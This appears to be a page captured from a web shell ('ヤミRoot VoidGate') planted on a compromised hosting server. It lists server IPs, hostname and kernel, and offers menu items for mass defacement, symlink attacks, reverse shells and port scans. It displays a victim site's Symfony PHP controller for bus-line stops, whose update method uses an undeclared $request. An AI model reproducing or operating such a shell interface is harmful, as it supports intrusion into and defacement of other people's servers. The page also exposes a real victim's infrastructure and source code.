ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Controller
/
Api
/
Viewing: LineStopController.php
<?php namespace AppBundle\Controller\Api; use Symfony\Bundle\FrameworkBundle\Controller\Controller; use FOS\RestBundle\Controller\Annotations as Rest; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\JsonResponse; use Nelmio\ApiDocBundle\Annotation as Doc; use AppBundle\Form\StopType; use AppBundle\Entity\Line; use AppBundle\Entity\Stop; class LineStopController extends Controller { /** * Get the list of all stops of a line * @param integer $lineId The id of the line * @Rest\Get("/lines/{lineId}/stops") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST"} * ) * @Doc\ApiDoc( * section="Stops on a line", * resource=true, * description="Get the list of all stops of a line.", * ) */ public function listAction(Line $line) { //TODO $stops = $this ->getDoctrine() ->getRepository('AppBundle:Stop') ->findByLine($line); return $stops; } /** * Get one stop of a line * @param integer $lineId The id of the line * @param integer $stopId The id of the stop * @Rest\Get("/lines/{lineId}/stops/{stopId}") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST", "STOP_DETAILS"} * ) * * @Doc\ApiDoc( * section="Stops on a line", * resource=true, * description="Get one stop of a line.", * ) */ public function showAction(Line $line, Stop $stop) { if ($stop->getLine() != $line) { return new JsonResponse(['error' => 'This stop does not belong to this line '], Response::HTTP_FORBIDDEN); } return $stop; } /** * Create a stop on a line * @param integer $lineId The id of the line * @Rest\Post("/lines/{lineId}/stops") * @Rest\View( * statusCode = Response::HTTP_CREATED, * SerializerGroups = {"LIST", "STOP_DETAILS"} * ) * @Doc\ApiDoc( * section="Stops on a line", * resource=true, * description="Create a stop on a line.", * input = { * "class"="AppBundle\Form\StopType", * }, * output = { * "class"="", * } * ) */ public function createAction(Request $request, Line $line) { //TODO $stop = new Stop(); $form = $this->createForm(StopType::class, $stop); $form->submit($request->request->all(), false); $listErrors = $this->get('validator')->validate($stop); if (count($listErrors)) { return $this->view($listErrors, Response::HTTP_BAD_REQUEST); } $stop->setLine($line); $em = $this ->getDoctrine() ->getManager(); $em->persist($stop); $em->flush(); return $stop; } /** * Update a stop on a line * @param integer $lineId The id of the line * @param integer $stopId The id of the stop * @Rest\Put("/lines/{lineId}/stops/{stopId}") * @Rest\View( * statusCode = Response::HTTP_ACCEPTED, * SerializerGroups = {"LIST", "STOP_DETAILS"} * ) * @Doc\ApiDoc( * section="Stops on a line", * resource=true, * description="Update a stop on a line.", * input = { * "class"="AppBundle\Form\StopType", * }, * output = { * "class"="", * } * ) */ public function updateAction(Stop $stop, Line $line) { if ($stop->getLine() != $line) { return new JsonResponse(['error' => 'This stop does not belong to this line '], Response::HTTP_FORBIDDEN); } $form = $this->createForm(StopType::class, $stop); $form->submit($request->request->all(), false); $listErrors = $this->get('validator')->validate($stop); if (count($listErrors)) { return $this->view($listErrors, Response::HTTP_BAD_REQUEST); } $em = $this ->getDoctrine() ->getManager(); $em->flush(); return $stop; } /** * Delete a stop on a line * @param integer $lineId The id of the line * @param integer $stopId The id of the stop * @Rest\Delete("/lines/{lineId}/stops/{stopId}") * @Rest\View( * statusCode = Response::HTTP_ACCEPTED * ) * @Doc\ApiDoc( * section="Stops on a line", * resource=true, * description="Delete a stop on a line.", * ) */ public function deleteAction(Line $line, Stop $stop) { //TODO penser a retablir la continuité des numéros d'ordre. if ($stop->getLine() != $line) { return new JsonResponse(['error' => 'This stop does not belong to this line '], Response::HTTP_FORBIDDEN); } $em = $this ->getDoctrine() ->getManager(); $em->remove($stop); $em->flush(); return new JsonResponse(''); } }
Coded With 💗 by
0x6ick